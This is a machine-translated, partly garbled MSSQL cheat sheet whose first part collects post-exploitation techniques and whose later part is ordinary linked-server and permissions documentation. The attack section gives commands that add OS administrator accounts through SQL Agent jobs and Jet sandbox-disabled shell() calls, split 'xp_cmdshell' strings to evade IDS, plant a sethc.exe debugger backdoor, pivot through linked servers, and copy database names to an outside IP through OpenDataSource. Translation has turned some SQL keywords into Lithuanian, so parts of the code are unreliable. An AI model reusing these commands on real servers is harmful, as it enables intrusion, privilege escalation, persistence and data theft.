master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' MSDB exec sp_delete_job naudojimas
null,'x' exec sp_add_job "x" exec sp_add_jobstep
Null,'x',Null,'1','CMDEXEC','cmd /c net user admin /add' exec sp_add_jobserver
Null,'x',@@servername exec sp_start_job 'x'
Daugeliui SA pavyko daugelyje mašinų tiesiogiai naudoti smėlio dėžės režimą, bet aš niekada to nepraktikavau ir nežinau, koks yra sėkmės rodiklis. Kai plėtinys pašalinamas, pirmiausia
Atkurti skaitymo ir rašymo saugyklą registre. dbcc addextendedproc ("xp_regread", "xpstar.dll") dbcc addextendedproc
("xp_regwrite", "xpstar.dll")
Ištaisytas apsaugotas smėlio dėžės režimas exec meistras .. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet
\4.0\Varikliai','Smėlio dėžės režimas','REG_DWORD',0; --
Pažiūrėkite, ar "SandBoxMode" reikšmė tapo 0.
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','PROGRAMINĖ ĮRANGA
\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
Galiausiai iškvieskite smėlio dėžės režimą Pasirinkite * iš openrowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS
\system32\ias\dnary.mdb','select shell("cmd.exe /c net user user passwd /add")')
Jei smėlio dėžės apsaugos režimas nėra "išjungtas", pranešama apie klaidą: Serveris: Msg 7357, 16 lygis, 2 būsena, 1 eilutė
Nepavyko apdoroti objekto 'select shell("cmd.exe /c net user user passwd /add")'. OLE DB teikia programas
Pratarmė "microsoft.jet.oledb.4.0" rodo, kad objekte nėra stulpelių.
OLE DB klaidų sekimas [Ne sąsajos klaida: OLE DB teikėjas negali apdoroti objekto, nes objektas
has nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user
user passwd /add")']。
2、 Jei .mdb nėra arba įvesties kelias neteisingas Serveris: Msg 7399, 16 lygis, 1 būsena, 1 eilutė
OLE DB teikėjo "microsoft.jet.oledb.4.0" klaida. [OLE/DB teikėjas grąžino pranešimą:
Failas 'C:\WINDOWS\system32\ias\dnary1.mdb' nerastas. ]
OLE DB klaidų sekimas [OLE/DB teikėjas 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize grąžintas
0x80004005: ]。
3. Jei įvesties proceso metu yra daugiau tarpų, taip pat bus pranešta apie klaidą. Atkreipkite ypatingą dėmesį į tai, daugelis žmonių tiesiogiai ieško straipsnių internete
Įklijuokite jį į ir vykdykite. Serveris: Msg 7357, 16 lygis, 2 būsena, 1 eilutė Nepavyko apdoroti objekto 'select
shell("cmd.exe /c net user user passwd /add")'。 OLE DB teikėjas "microsoft.jet.oledb.4.0" teigia, kad objekte nėra stulpelių.
OLE DB klaidų sekimas [Ne sąsajos klaida: OLE DB teikėjas negali apdoroti objekto, nes objektas turi
nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user user
passwd /add")']。
4、 Jei mdb leidimai ir cmd.exe leidimai yra neteisingi, problema taip pat iškirs. Kai MDB teisės neteisingos, Serveris: Pašalinti
Palūkanos 7320, 16 lygis, 2 būsena, 1 eilutė
Jis negalėjo atsakyti OLE DB teikėjas "Microsoft.Jet.OLEDB.4.0" vykdo užklausą. [OLE/DB teikėjas grąžintas
message: 未知] OLE DB klaidų sekimas [OLE/DB teikėjas "Microsoft.Jet.OLEDB.4.0"
ICommandText::Execute returned 0x80040e14]。
5. Jei tinklo leidimas neteisingas, raginimo nėra.
Paskutinis būdas padidinti autoritetą yra įkelti sistemos ias.mdb ir cmd.exe į dabartinį žiniatinklio katalogą, net.exe tris failus.
Vykdykite pasirinkimą * iš openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell
("E:\web\cmd.exe /c E:\web\net.exe vartotojo vartotojo passwd /add")') Sėkmingai įtraukti kompiuterio vartotoją.
Padalijimas cmdshell apeina IDS deklaruoti @a sysname set @a='xp_'+'cmdshell' exec @a 'ipconfig' deklaruoti
@a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
Redaguoti registro užgrobimo pamainą exec meistras .. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT
\CurrentVersion\Vaizdo failo vykdymo parinktys\sethc.exe','derintuvas','REG_sz','c:\windows
\system32\cmd.exe įjungta"; --
Užklausa saitų serveryje žymėti
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,duomenų prieiga iš master.dbo.sysserverių žymėti
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,duomenų prieiga iš master.dbo.sysserverių
Užklausos saito serveris2 Pasirinkite atskirą pagrindinio kompiuterio pavadinimą,db_name(dbid),net_address,loginis pavadinimas,program_name iš
meistras.. Sisteminiai procesai
Užklausa saitų serveryje ir kiti prisijungę vartotojai Pasirinkite * iš [192.168.1.1].master.dbo.syslogins
Užklausos saitų serveris Visos duomenų bazės pasirinkite * iš linkedSrvWeb.master.dbo.sysdatabases
Atlikite išplėstinę saugyklą "LinkServer" exec [ip].master.dbo.xp_cmdshell
Užklausti visas saitų serverio lenteles Pasirinkite * iš [ip].master.dbo.sysobjects
Pasirinkite * iš OpenRowSet
('sqloledb','server=IP; uid=vartotojas; pwd=slaptažodis','pasirinkite @@version')
select * from openquery([LINKSERVER
pavadinimas],'pasirinkti @@version')
select * from openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')
pasirinkite * iš openquery(GM_SERVER,'select * iš sysobjects, kur xtype = (''U'')')
Pasirinkite * iš
openquery(NDOORS,'Select IS_MEMBER(''db_owner'')')
pasirinkite * iš openquery(toatdeweb,'select
srvname iš master.dbo.sysservers')
Įterpti į "OpenDataSource"
('sqloledb','serveris=222.241.95.12; uid=scd; pwd=a123520; database=hack520').hack520.dbo.zhu select
Pavadinimas iš master.dbo.sysdatabases Sukurti duomenų bazę hack520 Sukurti LENTELĖ zhu(vardas nvarchar(256)
null); Sukurti TABLE J8(id int NULL,name nvarchar(256) null);
Pasirinkite * iš OpenQuery
(toatdeweb,'set fmtonly off exec master.dbo.xp_cmdshell ''net user''')
exec meistras .. xp_dirtree
'c:\',1,1 Užklausos katalogo atlikimas
exec links.master.. xp_cmdshell "ipconfig"
Pasirinkite * iš openquery(toatdeweb,'set
fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all''')
Prijunkite mysql Pasirinkite * iš Mem_DB. UserDB.dbo.AdminList
EXEC MASTER.. XP_dirtree 'c:\',1,1
Vykdytojas
master.dbo.xp_cmdshell "dir "
Pasirinkite Count(*) iš [Nurodyti] Užklausti, kiek duomenų yra dabartinėje lentelėje
Pasirinkite atskirą pagrindinio kompiuterio pavadinimą,db_name(dbid),net_address,loginis pavadinimas,program_name
iš meistro .. Sisteminiai procesai
Pasirinkite * iš gameDB01. Server01.dbo.cabal_character_table kur vardas='
Kiaulė"
Kai jį ištrinate, sakoma: Duomenų bazė naudojama ir jos negalima ištrinti.
Spustelėkite duomenų bazę, kurią norite ištrinti, kad atidarytumėte įvykių peržiūros programą.
Įvestis:
Naudojimas
Meistras Eiti Tada įveskite: Deklaruoti @d Varchar(8000) nustatyti @d= ' ' pasirinkite @d=@d+ ' nužudyti
'+cast(spid kaip varchar)+char(13) iš meistro .. sysprocesses kur dbid=db_id('bibliotekos pavadinimas') exec(@d) -- Naudokite kodą, kad pirmiausia panaikintumėte procesą, kuris prisijungia prie šios duomenų bazės
MSSQL valdo "Oracle" per "LinkServer"
1) Įdiekite "Oracle" SQL_SERVER 2005 serveryje
9i klientas. Tarkime, įdiekite į katalogą C:\ora92i\. Jei D: yra NTFS skaidinys, turite nustatyti ORACLE įdiegtą katalogą kaip naudojamą
Prenumeratoriai turi teisę paleisti, pridėti ir ištrinti.
2) Sukonfigūruokite failą C:\ora92i\network\ADMIN\tnsnames.ora. (Šis raudonas tekstas yra konfigūracijos pavyzdys)
ORCL =
(DEscrip{filter}tION=.)
(ADDRESS_LIST =
(ADRESAS = (PROTOKOLAS = TCP)(PAGRINDINIS KOMPIUTERIS = 192.168.0.11)(PRIEVADAS = 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = orcl)
)
)
3) Vykdykite šią komandą DOS režimu, kad įsitikintumėte, jog ORACLE klientas įdiegtas teisingai.
sqlplus vartotojas / password@ORCL
4) Atidarykite Pradžia - Valdymo skydas - Paslaugos ir patvirtinkite, kad paskirstytų operacijų koordinatoriaus paslauga paleista.
5) Atidarykite SQL SERVER Management Studio, egzemplioriaus pavadinimas (ORCL) - Serverio objektas (dešiniuoju pelės mygtuku spustelėkite) - Naujas ryšio serveris.
1.
Nuorodų serveris: parašykite susieto serverio pavadinimą, pvz., "OracleTest"
2. Serverio tipas, pasirinkite kitą duomenų šaltinį
3. Prieigos sąsaja: Pasirinkite "Oracle" teikėją, skirtą OLE DB
4. Produkto pavadinimas: Rašyti Oracle
5. Duomenų šaltinis: Rašyti
Paslaugos pavadinimas, sukonfigūruotas faile tnsnames.ora, pvz., ORCL
6. Prieigos sąsajos eilutė: userid=sys kaip sysdba; slaptažodis = slaptažodis
7. Puslapyje Pasirinkti saugos parinktis naudokite šį diegimo kontekstą, kad užmegztumėte ryšį:
a) Nuotolinis prisijungimas: vartotojas (kitas vartotojas, ne sys)
b)
Naudoti slaptažodį: slaptažodis
8. Nustatykite "NT AUTHORITY\SYSTEM" vietiniame prisijungime, nuotolinio vartotojo sistemoje ir nustatykite slaptažodį
9.
Ar tikrai
6) Yra du būdai rašyti SQL
a) Naudojant T-SQL sintaksę:
PASIRINKITE * IŠ
OraTest.ERP.BAS_ITEM_CLASS
Atkreipkite dėmesį, kad įvesdami SQL sakinius į SQL užklausų analizatorių, atkreipkite dėmesį į kinų viso pločio ir pusės pločio perjungimą
Būdas!
b) Naudokite PLSQL sintaksę: SELECT * FROM openquery(OraTest,'SELECT * FROM
OraTest.ERP.BAS_ITEM_CLASS ')
c) Antrasis prieigos būdas yra apie 50% greitesnis nei pirmasis; Antrasis prieigos būdas yra tiesiogiai prijungtas
ORACLE yra palyginamas; Pirmasis prieigos būdas gali sukelti netikėtų klaidų, tokių kaip: Lentelės nėra arba dabartinis vartotojas
Nėra prieigos prie stalo ir pan.
d) Jei stulpelyje, kurį reikia pasiekti, duomenų tipai naudojami netiksliai, abu šie
Tai yra ORACLE klaida, kurios negalima ištaisyti, ir jos galima išvengti tik specialiai tvarkant užklausos teiginius:
OLE DB teikėjo "OraOLEDB.Oracle" pateikti stulpelių metaduomenys yra nenuoseklūs. Metaduomenų informacija keičiama vykdymo metu.
mssql pridėta
Ištrinkite vartotoją ir suteikite leidimus
Naudokite bibliotekos pavadinimą Eiti --Pridėti vartotojų exec sp_addlogin 'test' -- pridėti prisijungti exec
sp_grantdbaccess N'test" - teisėtas dabartinės duomenų bazės naudotojas exec sp_addrolemember N'db_owner',
N'test' - suteikia visus leidimus į savo duomenų bazę - Tai sukuria vartotojus, kurie gali pasiekti tik savo duomenų bazę ir tai, kas įtraukta į duomenų bazę
Vieša lentelė svečiams Eiti --Pašalinti bandomąjį vartotoją exec sp_revokedbaccess N'test' -- Pašalinti prieigą prie duomenų bazės
Riba exec sp_droplogin N'test' -- ištrinti prisijungimo vardą Jei ją kuriate naudodami "Enterprise Manager", naudokite: Įmonės vadovas - sauga
Seksas --Dešiniuoju pelės mygtuku spustelėkite Prisijungti--Naujas prisijungimas Bendrosios nuostatos --Įveskite vartotojo vardą pavadinime
--Autentifikavimo būdas parenkamas pagal jūsų poreikius (jei naudojate Windows autentifikavimą, pirmiausia turite sukurti naują vartotoją tarp operacinės sistemos vartotojų)
--Numatytuosiuose nustatymuose pasirinkite duomenų bazės pavadinimą, kurį norite pasiekti naujam vartotojui Serverio vaidmens elementas Nieko nesirinkite duomenų bazė
Prieigos elementas Patikrinkite sukurtos vartotojo duomenų bazės, kurią norite pasiekti, pavadinimą Leisti duomenų bazės vaidmenyje, pažymėkite "viešas", "db_ownew" Žinoma, tai
Pavyzdžio sukurtas vartotojas yra tas pats, kurį sukūrė aukščiau pateiktas teiginys
Paskutinis žingsnis yra nustatyti konkrečius prieigos leidimus konkretiems vartotojams, kuriuos galima nurodyti šiame minimaliame pavyzdyje:
--Įtraukite vartotojus, kuriems leidžiama pasiekti tik nurodytą lentelę: exec sp_addlogin 'vartotojo vardas', 'slaptažodis', 'numatytasis duomenų bazės pavadinimas'
--pridėti prie duomenų bazės exec sp_grantdbaccess 'vartotojo vardas'
--Priskirti visos lentelės teises SUTEIKTI PASIRINKTI , ĮTERPTI , ATNAUJINTI , IŠTRINTI 1 LENTELĖJE Į [vartotojo vardą] --Priskirti teises konkretiems stulpeliams SUTEIKTI PASIRINKTI , ATNAUJINTI LENTELĖJE1 (id, AA) į [vartotojo vardą]
Konkrečių saugos parametrų ir teorinių žinių ieškokite SQL internetiniame žinyne
Fiksuotas duomenų bazės vaidmens aprašymas db_owner Turėti visas duomenų bazės teises.
db_accessadmin Galite pridėti arba pašalinti naudotojų ID.
db_securityadmin Gali valdyti visas teises, objekto nuosavybę, vaidmenis ir vaidmenų narystes.
db_ddladmin gali išduoti VISUS DDL, bet ne SUTEIKTI, ATŠAUKTI ar PANEIGTI pareiškimus.
db_backupoperator gali išduoti DBCC, CHECKPOINT ir BACKUP sakinius.
db_datareader Galite pasirinkti visus duomenis iš bet kurios duomenų bazės vartotojo lentelės.
db_datawriter Galite keisti visus duomenis bet kurioje duomenų bazės vartotojo lentelėje.
db_denydatareader Negalite pasirinkti jokių duomenų iš jokios duomenų bazės vartotojų lentelės.
db_denydatawriter Negalite keisti duomenų jokioje duomenų bazės vartotojo lentelėje.
Turėtumėte pasirinkti db_datareader, db_datawriter, db_accessadmin
5. Paleidus SQL serverio egzempliorių vieno vartotojo režimu, "Windows" administratoriaus abonementas gali naudoti sqlcmd įrankį, kad prisijungtų "Windows" autentifikavimo režimu
SQL Server。 Galite naudoti T-SQL komandas, pvz., "sp_addsrvrolemember", kad pridėtumėte esamą prisijungimo vardą prie sistemos administratoriaus serverio vaidmens
arba sukurkite naują prisijungimo paskyrą. Teiginio pavyzdys yra toks:
EXEC sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';
EITI
Sistemos administratoriaus teisės įtraukimas
(1) Serverio vaidmenų valdymas
SQL serveryje yra dvi pagrindinės saugomos procedūros, kurios įgyvendina SQL serverio vaidmenų valdymą:
sp_addsrvrolemember
ir sp_dropsrvrolemember
sp_addsrvrolemember Galite įtraukti prisijungimo abonementą į serverio vaidmenį, kad jis taptų to serverio vaidmens nariu. Sintaksė yra tokia: sp_addsrvrolemember
prisijungti , vaidmuo
sp_dropsrvrolemember Galite panaikinti prisijungimo abonementą iš serverio vaidmens, o kai narys pašalinamas iš serverio vaidmens, jis nebeturi to serverio vaidmens
Nustatytos teisės. Sintaksė yra tokia: sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'role'
į jį
@loginname yra prisijungusio vartotojo vardas; @rolename yra serverio vaidmuo.
(2) Duomenų bazės vaidmenų valdymas
SQL serveryje palaikomas duomenų bazės valdymas
Yra šeši pagrindiniai saugomų procedūrų tipai, kurių konkrečios reikšmės ir sintaksė yra šios:
sp_addrole: naudojamas naujam duomenų bazės vaidmeniui sukurti; sp_addrole
vaidmuo, savininkas
sp_droprole: naudojamas duomenų bazės vaidmeniui pašalinti iš dabartinio duomenų bazės vaidmens; sp_droprole vaidmuo
sp_helprole:
Jis naudojamas visai informacijai apie visus duomenų bazės vaidmenis dabartinėje duomenų bazėje rodyti; sp_helprole ['vaidmuo']
sp_addrolemember: Naudojamas siųsti į duomenų bazę
Duomenų bazės vartotojų įtraukimas į vaidmenį, kuris gali būti vartotojo apibrėžtas standartinis arba fiksuotas duomenų bazės vaidmuo, bet negali būti
Programos vaidmenys. sp_addrolemember vaidmenį, security_account
sp_droprolemember: naudojamas tam tikram simboliui ištrinti
namų ūkis; sp_droprolemember vaidmenį, security_account
sp_helprolemember: naudojamas visiems duomenų bazės vaidmens nariams rodyti
。 sp_helprolemember ['vaidmuo']
MSSQL LINKSERVER užklausa
---------------------------------------------------------------------------------- - Autorius :
htl258(Tonis) -- Data : 2010-06-25 22:23:18 -- Versija: Microsoft SQL Server 2008 (RTM) -
10.0.1600.22 ("Intel X86") -- Liepa 9, 2008 14:43:34 -- Autorių teisės (c) 1988-2008 Microsoft Corporation --
"Windows NT 5.1" kūrėjo leidimas (2600 komponavimo versija: 2 pakeitimų paketas) -- Dienoraštis: -- Tema: SQL duomenų operacijos tarp skirtingų serverių duomenų bazių ---------------------------------------------------------------------------------- --1. Saitų serverio kūrimas --1.1 Sukurkite nuorodos pavadinimą EXEC sp_addlinkedserver 'LinkName','','','SQLOLEDB',' nuotolinio serverio pavadinimas
arba IP adresas" -- Jei turite pasirinktinį egzemplioriaus pavadinimą, pridėkite "\egzemplioriaus pavadinimas"
/*例如:EXEC sp_addlinkedserver
'TonyLink','','SQLOLEDB','192.168.58.208' */ --1.2 Sukurkite prisijungimo vardą (arba sukurkite nuorodų serverio prisijungimo žemėlapį) (tiesiog pasirinkite vieną būdą) --1.2.1 Prisijunkite naudodami "Windows" autentifikavimą EXEC sp_addlinkedsrvlogin "LinkName" --arba EXEC sp_addlinkedsrvlogin 'LinkName','true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */ --1.2.2 Prisijunkite naudodami SQL autentifikavimą EXEC sp_addlinkedsrvlogin 'LinkName','false',NULL,'Username','Password'
/*例如:EXEC
sp_addlinkedsrvlogin 'TonyLink','false',null,'sa','123' */ --2. Susieti su serveriu susijusias duomenų operacijas --2.1 Užklausos pavyzdys SELECT * FROM LinkName.database name.schema name.table name
/*例如:SELECT *
IŠ TonyLink.Mydb.dbo.tb */ -- 2.2 Importo pavyzdys SELECT * INTO lentelės pavadinimas FROM LinkName.database name.schema name.table name
/*例如:SELECT * INTO Newtb
IŠ TonyLink.Mydb.dbo.tb */ -- 2.3 Atnaujinimo pavyzdys UPDATE LinkName.Database Name.Schema Name.Table Name SET field='value' WHERE field='condition'
/*例如:UPDATE
TonyLink.Mydb.dbo.tb SET Persons='g' WHERE Persons='a' */ -- 2.4 Ištrinti pavyzdžius DELETE LinkName.Database Name.Schema Name.Table Name WHERE field name='condition'
/*例如:DELETE
TonyLink.Mydb.dbo.tb KUR Asmenys='g' */ --3 per rowset funkciją (OPENQUERY/OPENROWSET/OPENDATASOURCE).
Metodas
- 3.1 OPENQUERY metodas (reikalinga ką tik sukurto nuorodų serverio pagalba): -- 3.1.1 Užklausos pavyzdys SELECT * FROM OPENQUERY(LinkName, 'SELECT * FROM duomenų bazės pavadinimas. Architektūros pavadinimas. lentelės pavadinimas')
/* Pavyzdžiui: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */ -- 3.1.2 Importo pavyzdžiai --3.1.2.1 Importuoti visus stulpelius INSERT OPENQUERY(LinkName, 'SELECT * FROM duomenų bazės pavadinimas. Architektūros pavadinimas. Lentelės pavadinimas
') SELECT * FROM vietinė lentelė
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *
IŠ tb */ --3.1.2.2 Importuoti nurodytus stulpelius INSERT OPENQUERY(LinkName, 'SELECT * FROM duomenų bazės pavadinimas. Architektūros pavadinimas. lentelės pavadinimas') (stulpelis, stulpelis...) SELECT stulpelis,
Stulpelis... FROM vietinė lentelė
/* Pavyzdžiui: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons) ŽYMĖTI
DIAPAZONAS, LYGIS, Asmenys NUO tb */ --3.1.3 Atnaujinimo pavyzdžiai UPDATE OPENQUERY(LinkName, 'SELECT * FROM duomenų bazės pavadinimas. Architektūros pavadinimas. lentelės pavadinimas') SET laukas = 'reikšmė' WHERE žodis
Segmentas = 'Sąlyga'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE
Asmenys = 'a' */ --3.1.4 Ištrinti pavyzdžius DELETE OPENQUERY(LinkName, 'SELECT * FROM duomenų bazės pavadinimas. Architektūros pavadinimas. lentelės pavadinimas') WHERE lauko pavadinimas='sąlyga'
/*例
Pavyzdžiui: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') WHERE Persons='g' */ --3.2 OPENROWSET metodas (jums nereikia naudoti sukurto saito pavadinimo.) Jei prijungto egzemplioriaus pavadinimas nėra numatytasis, turite jį nustatyti SQL serverio vardu arba IP adresu.
"\egzemplioriaus pavadinimas") --3.2.1 Užklausos pavyzdys --3.2.1.1 Windows autentifikavimo metodo užklausa (pakanka vieno iš šių metodų) PASIRINKITE * IŠ OPENROWSET('SQLOLEDB', 'server=sql serverio pavadinimas arba
IP adresas; Trusted_Connection=taip', duomenų bazės pavadinimas. Architektūros pavadinimas. Lentelės pavadinimas) PASIRINKITE * IŠ OPENROWSET('SQLNCLI',
'server=SQL serverio pavadinimas arba IP adresas; Trusted_Connection=taip', duomenų bazės pavadinimas. Architektūros pavadinimas. Lentelės pavadinimas) PASIRINKITE * IŠ
OPENROWSET('SQLOLEDB', 'serveris=sql serverio pavadinimas arba IP adresas; Trusted_Connection=yes','SELECT * FROM duomenų bazės
Vardas, pavadinimas. Architektūros pavadinimas. lentelės pavadinimas') PASIRINKITE * IŠ OPENROWSET('SQLNCLI', 'server=sql serverio pavadinimas arba IP adresas
Adresas; Trusted_Connection=yes','SELECT * FROM duomenų bazės pavadinimas. Architektūros pavadinimas. lentelės pavadinimas')
/* Pavyzdžiui: PASIRINKITE * IŠ OPENROWSET
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=taip',Mydb.dbo.tb)
Arba: PASIRINKITE * IŠ OPENROWSET
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=taip',Mydb.dbo.tb)
Arba: SELECT * FROM OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=taip','SELECT *
IŠ Mydb.dbo.tb')
Arba: SELECT * FROM OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=taip','SELECT *
IŠ Mydb.dbo.tb') */ --3.2.1.2 SQL autentifikavimo metodo užklausa (pakanka vieno iš šių metodų) PASIRINKITE * IŠ OPENROWSET
('SQLOLEDB', 'server=sql serverio pavadinimas arba IP adresas; uid=vartotojo vardas; pwd=slaptažodis', duomenų bazės pavadinimas. Architektūros pavadinimas. Lentelės pavadinimas) PASIRINKITE * IŠ
OPENROWSET('SQLNCLI', 'serveris=sql serverio pavadinimas arba IP adresas; uid=vartotojo vardas; pwd=slaptažodis', duomenų bazės pavadinimas. Architektūros pavadinimas. Lentelės pavadinimas) PASIRINKITE * IŠ OPENROWSET('SQLOLEDB', 'server=sql serverio pavadinimas arba IP adresas; uid=vartotojo vardas; pwd=slaptažodis','SELECT *
FROM duomenų bazės pavadinimas. Architektūros pavadinimas. lentelės pavadinimas') PASIRINKITE * IŠ OPENROWSET('SQLNCLI', 'server=sql serverio pavadinimas arba IP adresas; uid=
Vartotojo vardas; pwd=slaptažodis','SELECT * FROM duomenų bazės pavadinimas. Architektūros pavadinimas. lentelės pavadinimas') PASIRINKITE * IŠ OPENROWSET('SQLOLEDB', 'sql
serverio pavadinimas"; "vartotojo vardas"; "Slaptažodis" – duomenų bazės pavadinimas. Architektūros pavadinimas. Lentelės pavadinimas) PASIRINKITE * IŠ OPENROWSET('SQLNCLI', 'SQL SERVERIO PAVADINIMAS
'; "vartotojo vardas"; "Slaptažodis" – duomenų bazės pavadinimas. Architektūros pavadinimas. Lentelės pavadinimas) PASIRINKITE * IŠ OPENROWSET('SQLOLEDB', 'SQL SERVERIO PAVADINIMAS'; ' vartotojas
pavadinimas"; 'Slaptažodis', 'SELECT * FROM duomenų bazės pavadinimas. Architektūros pavadinimas. lentelės pavadinimas') PASIRINKITE * IŠ OPENROWSET('SQLNCLI', 'SQL SERVER
pavadinimas"; "vartotojo vardas"; 'Slaptažodis', 'SELECT * FROM duomenų bazės pavadinimas. Architektūros pavadinimas. lentelės pavadinimas')
/* 例如:SELECT * FROM OPENROWSET
('SQLOLEDB','serveris=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Arba: PASIRINKITE * IŠ OPENROWSET
('SQLNCLI','serveris=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Arba: PASIRINKITE * IŠ OPENROWSET
('SQLOLEDB','serveris=192.168.58.208; uid=sa; pwd=123','SELECT * FROM Mydb.dbo.tb')
arba: SELECT * FROM OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM
Mydb.dbo.tb')
arba: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; "sa"; '123',mydb.dbo.tb)
arba: SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208'; "sa"; '123',mydb.dbo.tb)
arba: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; "sa"; '123','SELECT * FROM Mydb.dbo.tb')
arba: SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208'; "sa"; '123','SELECT * FROM Mydb.dbo.tb') */ --3.2.2 Importo pavyzdys --3.2.2.1 Importuoti visus stulpelius INSERT OPENROWSET('SQLOLEDB', 'server=sql serverio pavadinimas arba IP adresas
Adresas; uid=vartotojo vardas; pwd=slaptažodis', duomenų bazės pavadinimas. Architektūros pavadinimas. Lentelės pavadinimas) SELECT * FROM vietinė lentelė
/* 例如:INSERT OPENROWSET
('SQLOLEDB','serveris=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) SELECT * FROM tb */ --3.2.2.2 Importas
Nurodyti stulpelius INSERT OPENROWSET('SQLOLEDB', 'server=sql serverio pavadinimas arba IP adresas; uid=vartotojo vardas; pwd=slaptažodis', duomenų bazės pavadinimas. stovas
Konstrukto pavadinimas. lentelės pavadinimas) (stulpelis, stulpelis...) SELECT stulpelis, stulpelis... FROM vietinė lentelė
/* 例如:INSERT OPENROWSET
('SQLOLEDB','serveris=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(DIAPAZONAS,LYGIS,Asmenys) ŽYMĖTI
DIAPAZONAS, LYGIS, Asmenys NUO tb */ --Pastaba: Daugiau alternatyvių metodų rasite .2.1 užklausos pavyzdyje, tiesiog pakeiskite funkciją OPENROWSET
Turinio pakanka. --3.2.3 Atnaujinimo pavyzdys UPDATE OPENROWSET('SQLOLEDB', 'server=sql serverio pavadinimas arba IP adresas; uid=vartotojo vardas
;p wd=slaptažodis', duomenų bazės pavadinimas. Architektūros pavadinimas. Lentelės pavadinimas) SET laukas = 'reikšmė' Laukas WHERE = 'sąlyga'
/*例如:UPDATE OPENROWSET
('SQLOLEDB','serveris=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) SET Asmenys='g' WHERE Asmenys = 'a' */ --Pastaba: Daugiau alternatyvių metodų rasite .2.1 užklausos pavyzdyje, tiesiog pakeiskite turinį OPENROWSET. --3.2.4 Ištrinti nuorodą
Pavyzdys IŠTRINTI OPENROWSET('SQLOLEDB', 'serveris=SQL serverio pavadinimas arba IP adresas; uid=vartotojo vardas; pwd=slaptažodis', duomenų bazės pavadinimas. Schemos pavadinimas
.table pavadinimas) WHERE lauko pavadinimas='sąlyga'
/* Pavyzdžiui: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) KUR
Asmenys = 'g' */ --Pastaba: Daugiau alternatyvių metodų rasite .2.1 užklausos pavyzdyje, tiesiog pakeiskite turinį OPENROWSET. --3.3 OPENDATASOURCE metodas
(Jums nereikia naudoti sukurto saito pavadinimo.) Jei ryšio egzemplioriaus pavadinimas nėra numatytasis, turite pridėti \egzemplioriaus pavadinimą po sql serverio vardo arba IP adreso
") --3.3.1 Užklausos pavyzdys --3.3.1.1 "Windows" autentifikavimo metodo užklausa (pakanka vieno iš šių metodų) PASIRINKITE * IŠ OPENDATASOURCE('SQLOLEDB',
'server=SQL serverio pavadinimas arba IP adresas; Trusted_Connection=taip'). Duomenų bazės pavadinimas. Architektūros pavadinimas. Lentelės pavadinimas PASIRINKITE * IŠ
OPENDATASOURCE('SQLNCLI', 'serveris=sql serverio pavadinimas arba IP adresas; Trusted_Connection=taip'). Duomenų bazės pavadinimas. Architektūros pavadinimas.
Lentelės pavadinimas
/* Pavyzdžiui: PASIRINKITE * IŠ OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=taip"). Mydb.dbo.tb
Arba: PASIRINKITE * IŠ OPENDATASOURCE
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=taip"). Mydb.dbo.tb */ --3.3.1.2 SQL autentifikavimo metodo užklausa (pakanka vieno iš šių metodų) PASIRINKITE * IŠ OPENDATASOURCE('SQLOLEDB', 'server=sql serverio pavadinimas arba
IP adresas; uid=vartotojo vardas; pwd=slaptažodis'). Duomenų bazės pavadinimas. Architektūros pavadinimas. Lentelės pavadinimas PASIRINKITE * IŠ OPENDATASOURCE('SQLNCLI', 'server=sql serverio pavadinimas arba IP adresas; uid=vartotojas
Vardas, pavadinimas; pwd=slaptažodis'). Duomenų bazės pavadinimas. Architektūros pavadinimas. Lentelės pavadinimas PASIRINKITE * IŠ OPENDATASOURCE('SQLOLEDB', 'Data Source=sql serverio pavadinimas arba IP adresas
